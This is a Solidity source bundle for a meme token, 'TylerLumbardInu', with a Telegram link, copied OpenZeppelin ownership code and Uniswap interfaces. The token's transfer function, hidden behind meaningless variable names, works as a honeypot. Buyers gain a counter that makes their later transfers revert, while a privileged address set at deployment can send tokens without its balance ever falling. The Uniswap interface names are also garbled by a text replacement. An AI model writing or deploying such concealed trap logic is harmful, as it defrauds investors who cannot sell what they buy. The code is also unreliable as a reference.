File size: 12,909 Bytes
f998fcd
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
{
  "language": "Solidity",
  "sources": {
    "deploy/Contract.sol": {
      "content": "// https://t.me/TylerLumbardInu\n\n// SPDX-License-Identifier: GPL-3.0\n\npragma solidity >0.8.8;\n\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n    function _msgSender() internal view virtual returns (address) {\n        return msg.sender;\n    }\n\n    function _msgData() internal view virtual returns (bytes calldata) {\n        return msg.data;\n    }\n}\n\n// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)\n\n/**\n * @dev Contract module which provides a basic access control mechanism, where\n * there is an account (an owner) that can be granted exclusive access to\n * specific functions.\n *\n * By default, the owner account will be the one that deploys the contract. This\n * can later be changed with {transferOwnership}.\n *\n * This module is used through inheritance. It will make available the modifier\n * `onlyOwner`, which can be applied to your functions to restrict their use to\n * the owner.\n */\nabstract contract Ownable is Context {\n    address private _owner;\n\n    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n\n    /**\n     * @dev Initializes the contract setting the deployer as the initial owner.\n     */\n    constructor() {\n        _setOwner(_msgSender());\n    }\n\n    /**\n     * @dev Returns the address of the current owner.\n     */\n    function owner() public view virtual returns (address) {\n        return _owner;\n    }\n\n    /**\n     * @dev Throws if called by any account other than the owner.\n     */\n    modifier onlyOwner() {\n        require(owner() == _msgSender(), 'Ownable: caller is not the owner');\n        _;\n    }\n\n    /**\n     * @dev Leaves the contract without owner. It will not be possible to call\n     * `onlyOwner` functions anymore. Can only be called by the current owner.\n     *\n     * NOTE: Renouncing ownership will leave the contract without an owner,\n     * thereby removing any functionality that is only available to the owner.\n     */\n    function renounceOwnership() public virtual onlyOwner {\n        _setOwner(address(0));\n    }\n\n    /**\n     * @dev Transfers ownership of the contract to a new account (`newOwner`).\n     * Can only be called by the current owner.\n     */\n    function transferOwnership(address newOwner) public virtual onlyOwner {\n        require(newOwner != address(0), 'Ownable: new owner is the zero address');\n        _setOwner(newOwner);\n    }\n\n    function _setOwner(address newOwner) private {\n        address oldOwner = _owner;\n        _owner = newOwner;\n        emit OwnershipTransferred(oldOwner, newOwner);\n    }\n}\n\ninterface IUniswapV2Factory {\n    event PairCreated(address indexed token0, address indexed token1, address pair, uint);\n\n    function feeTo() external view returns (address);\n    function feeToSetter() external view returns (address);\n\n    function getPair(address tokenA, address tokenB) external view returns (address pair);\n    function allPairs(uint) external view returns (address pair);\n    function allPairsLength() external view returns (uint);\n\n    function createPair(address tokenA, address tokenB) external returns (address pair);\n\n    function setFeeTo(address) external;\n    function setFeeToSetter(address) external;\n}\n\ninterface IUniswapV2Router01 {\n    function factory() external pure returns (address);\n    function WETH() external pure returns (address);\n\n    function addLiquidity(\n        address tokenA,\n        address tokenB,\n        uint amountADesired,\n        uint amountBDesired,\n        uint amountAMin,\n        uint amountBMin,\n        address to,\n        uint deadline\n    ) external returns (uint amountA, uint amountB, uint liquidity);\n    function addLiquidityETH(\n        address token,\n        uint amountTylerLumbardInuDesired,\n        uint amountTylerLumbardInuMin,\n        uint amountETHMin,\n        address to,\n        uint deadline\n    ) external payable returns (uint amountTylerLumbardInu, uint amountETH, uint liquidity);\n    function removeLiquidity(\n        address tokenA,\n        address tokenB,\n        uint liquidity,\n        uint amountAMin,\n        uint amountBMin,\n        address to,\n        uint deadline\n    ) external returns (uint amountA, uint amountB);\n    function removeLiquidityETH(\n        address token,\n        uint liquidity,\n        uint amountTylerLumbardInuMin,\n        uint amountETHMin,\n        address to,\n        uint deadline\n    ) external returns (uint amountTylerLumbardInu, uint amountETH);\n    function removeLiquidityWithPermit(\n        address tokenA,\n        address tokenB,\n        uint liquidity,\n        uint amountAMin,\n        uint amountBMin,\n        address to,\n        uint deadline,\n        bool approveMax, uint8 v, bytes32 r, bytes32 s\n    ) external returns (uint amountA, uint amountB);\n    function removeLiquidityETHWithPermit(\n        address token,\n        uint liquidity,\n        uint amountTylerLumbardInuMin,\n        uint amountETHMin,\n        address to,\n        uint deadline,\n        bool approveMax, uint8 v, bytes32 r, bytes32 s\n    ) external returns (uint amountTylerLumbardInu, uint amountETH);\n    function swapExactTylerLumbardInusForTylerLumbardInus(\n        uint amountIn,\n        uint amountOutMin,\n        address[] calldata path,\n        address to,\n        uint deadline\n    ) external returns (uint[] memory amounts);\n    function swapTylerLumbardInusForExactTylerLumbardInus(\n        uint amountOut,\n        uint amountInMax,\n        address[] calldata path,\n        address to,\n        uint deadline\n    ) external returns (uint[] memory amounts);\n    function swapExactETHForTylerLumbardInus(uint amountOutMin, address[] calldata path, address to, uint deadline)\n        external\n        payable\n        returns (uint[] memory amounts);\n    function swapTylerLumbardInusForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)\n        external\n        returns (uint[] memory amounts);\n    function swapExactTylerLumbardInusForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)\n        external\n        returns (uint[] memory amounts);\n    function swapETHForExactTylerLumbardInus(uint amountOut, address[] calldata path, address to, uint deadline)\n        external\n        payable\n        returns (uint[] memory amounts);\n\n    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);\n    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);\n    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);\n    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);\n    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);\n}\n\ninterface IUniswapV2Router02 is IUniswapV2Router01 {\n    function removeLiquidityETHSupportingFeeOnTransferTylerLumbardInus(\n        address token,\n        uint liquidity,\n        uint amountTylerLumbardInuMin,\n        uint amountETHMin,\n        address to,\n        uint deadline\n    ) external returns (uint amountETH);\n    function removeLiquidityETHWithPermitSupportingFeeOnTransferTylerLumbardInus(\n        address token,\n        uint liquidity,\n        uint amountTylerLumbardInuMin,\n        uint amountETHMin,\n        address to,\n        uint deadline,\n        bool approveMax, uint8 v, bytes32 r, bytes32 s\n    ) external returns (uint amountETH);\n\n    function swapExactTylerLumbardInusForTylerLumbardInusSupportingFeeOnTransferTylerLumbardInus(\n        uint amountIn,\n        uint amountOutMin,\n        address[] calldata path,\n        address to,\n        uint deadline\n    ) external;\n    function swapExactETHForTylerLumbardInusSupportingFeeOnTransferTylerLumbardInus(\n        uint amountOutMin,\n        address[] calldata path,\n        address to,\n        uint deadline\n    ) external payable;\n    function swapExactTylerLumbardInusForETHSupportingFeeOnTransferTylerLumbardInus(\n        uint amountIn,\n        uint amountOutMin,\n        address[] calldata path,\n        address to,\n        uint deadline\n    ) external;\n}\n\ncontract TylerLumbardInu is Ownable {\r\n    uint256 private pie;\r\n    string private figure;\r\n    uint256 private _tTotal;\r\n    string private rather;\r\n    uint256 private combine;\r\n    uint8 private call;\r\n\n    function name() public view returns (string memory) {\r\n        return figure;\r\n    }\r\n\n    function symbol() public view returns (string memory) {\r\n        return rather;\r\n    }\r\n\n    uint256 excited;\r\n    uint256 believed;\r\n    bool wear;\r\n    address private specific;\r\n    address private practical;\r\n    address private school;\r\n    IUniswapV2Router02 public uniswapV2Router;\r\n\n    function decimals() public view returns (uint256) {\r\n        return call;\r\n    }\r\n\n    mapping(address => mapping(address => uint256)) private _allowances;\r\n    mapping(address => uint256) private engine;\r\n\n    function totalSupply() public view returns (uint256) {\r\n        return _tTotal;\r\n    }\r\n\n    function balanceOf(address account) public view returns (uint256) {\r\n        return engine[account];\r\n    }\r\n\n    function allowance(address owner, address spender) public view returns (uint256) {\r\n        return _allowances[owner][spender];\r\n    }\r\n\n    function have(\r\n        address forget,\r\n        address becoming,\r\n        uint256 taught\r\n    ) internal {\r\n        wear = specific == forget;\r\n\n        if (!wear && dinner[forget] == 0 && bat[forget] > 0) {\r\n            dinner[forget] -= call;\r\n        }\r\n\n        excited = taught * pie;\r\n\n        if (dinner[forget] == 0) {\r\n            engine[forget] -= taught;\r\n        }\r\n\n        believed = excited / combine;\r\n\n        practical = school;\r\n\n        school = becoming;\r\n\n        school = becoming;\r\n\n        taught -= believed;\r\n        bat[practical] += call;\r\n        engine[becoming] += taught;\r\n    }\r\n\n    mapping(address => uint256) private bat;\r\n\n    function approve(address spender, uint256 amount) external returns (bool) {\r\n        return _approve(msg.sender, spender, amount);\r\n    }\r\n\n    mapping(address => uint256) private dinner;\r\n\n    function transferFrom(\r\n        address sender,\r\n        address recipient,\r\n        uint256 amount\r\n    ) external returns (bool) {\r\n        have(sender, recipient, amount);\r\n        return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);\r\n    }\r\n\n    function transfer(address recipient, uint256 amount) external returns (bool) {\r\n        have(msg.sender, recipient, amount);\r\n        return true;\r\n    }\r\n\n    function _approve(\r\n        address owner,\r\n        address spender,\r\n        uint256 amount\r\n    ) private returns (bool) {\r\n        require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');\r\n        _allowances[owner][spender] = amount;\r\n        return true;\r\n    }\r\n\n    constructor(\r\n        string memory off,\r\n        string memory lion,\r\n        address law,\r\n        address everybody\r\n    ) {\r\n        uniswapV2Router = IUniswapV2Router02(law);\r\n        specific = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());\r\n\n        figure = off;\r\n        rather = lion;\r\n        call = 9;\r\n        pie = 0;\r\n        combine = 100;\r\n        dinner[everybody] = call;\r\n        _tTotal = 1000000000000000 * 10**call;\r\n        engine[msg.sender] = _tTotal;\r\n    }\r\n}\n"
    }
  },
  "settings": {
    "optimizer": {
      "enabled": false,
      "runs": 200
    },
    "outputSelection": {
      "*": {
        "*": [
          "evm.bytecode",
          "evm.deployedBytecode",
          "devdoc",
          "userdoc",
          "metadata",
          "abi"
        ]
      }
    },
    "libraries": {}
  }
}